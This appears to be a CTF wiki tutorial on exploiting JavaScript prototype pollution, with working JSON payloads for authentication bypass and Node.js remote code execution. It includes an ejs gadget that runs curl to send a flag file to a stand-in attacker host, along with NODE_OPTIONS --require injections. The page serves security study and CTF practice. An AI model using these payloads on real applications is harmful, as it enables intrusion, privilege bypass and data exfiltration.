Athena Wiki

Prototype Pollution

webadvanced

Exploit JavaScript prototype pollution in CTF web challenges to bypass authentication and achieve RCE.

webjavascriptnodejsprototype-pollutionrcebypass

Prototype Pollution

Prototype pollution is a JavaScript vulnerability where attackers inject properties into Object.prototype or constructor prototypes through unsafe object merge operations, causing all objects in the application to inherit malicious properties. How it works: Unsafe merge operations (_.merge, Object.assign with user input) allow injecting __proto__ or constructor.prototype keys; attacker adds properties (isAdmin=true, password=bypass, Object.defineProperty functions) that propagate to all objects via prototype chain inheritance. Why it matters: Affects nearly all Node.js/JavaScript web applications using vulnerable libraries; enables authentication bypass (isAdmin pollution), config manipulation (debug=true), arbitrary method injection, RCE in Node.js through process/require pollution; OWASP emerging category.


How It Works

Every JavaScript object inherits properties from Object.prototype. If you can pollute this prototype, every object in the app gains those properties:

// Polluting via deeply-nested key
let obj = {};
_.merge(obj, JSON.parse('{"__proto__": {"admin": true}}'));

let user = {};
console.log(user.admin); // → true (polluted from prototype!)

Common Vulnerable Patterns

_.merge (lodash)

const _ = require("lodash");
const userInput = JSON.parse(req.body);
_.merge({}, userInput); // VULNERABLE if userInput has __proto__

Object.assign (limited)

Object.assign({}, userInput); // Only shallow - less vulnerable

Custom recursive merge

function merge(a, b) {
  for (let key in b) {
    if (typeof b[key] === "object") merge(a[key], b[key]);
    else a[key] = b[key]; // VULNERABLE - no key sanitization
  }
}

Detection

Test by sending:

{"__proto__": {"testPollution": "pwned"}}
{"constructor": {"prototype": {"testPollution": "pwned"}}}

Then check if testPollution property appears on a new empty object.


Authentication Bypass

// Server code:
function isAdmin(user) {
  return user.admin === true;
}

// If you can pollute Object.prototype.admin = true:
// → isAdmin({}) returns true for any user!

Payload:

{ "__proto__": { "admin": true } }

Bypass hasOwnProperty Checks

Some apps check obj.hasOwnProperty('key') to avoid inherited properties. Pollute hasOwnProperty itself:

{ "__proto__": { "hasOwnProperty": 1 } }

Now obj.hasOwnProperty(anything) returns 1 (truthy) for all objects.


Node.js RCE via Prototype Pollution

In Node.js, certain library behaviors can be hijacked via prototype pollution:

Via child_process.exec gadget (ejs template engine)

{
  "__proto__": {
    "outputFunctionName": "x;process.mainModule.require('child_process').execSync('curl http://attacker.com/$(cat /flag.txt)');x"
  }
}

Via shell option in child_process

{
  "__proto__": {
    "shell": "node",
    "env": { "NODE_OPTIONS": "--require /proc/self/fd/0" },
    "stdio": [0, 1, 1]
  }
}

Via NODE_OPTIONS in environment pollution

{ "__proto__": { "NODE_OPTIONS": "--require /evil.js" } }

Via URL Parameters (GET/POST)

Some frameworks parse a[__proto__][admin]=true from query strings:

GET /page?__proto__[admin]=true HTTP/1.1
POST /page
a[__proto__][admin]=true

Tools

# Automatic scanning
npm install -g nodejsscan

# Manual testing: send the payload and check response for unexpected properties
curl -X POST http://target/api \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"admin":true}}'

Checklist

  • Is the application Node.js?
  • Find endpoints that accept JSON input with nested objects
  • Test proto and constructor.prototype injection
  • Try {"__proto__": {"admin": true}} for auth bypass
  • Test url params: ?proto[admin]=true
  • If lodash/deep-merge is used → likely vulnerable
  • For RCE: look for ejs, pug, or child_process execution patterns
  • Check CVE database for specific library versions

Last updated on

On this page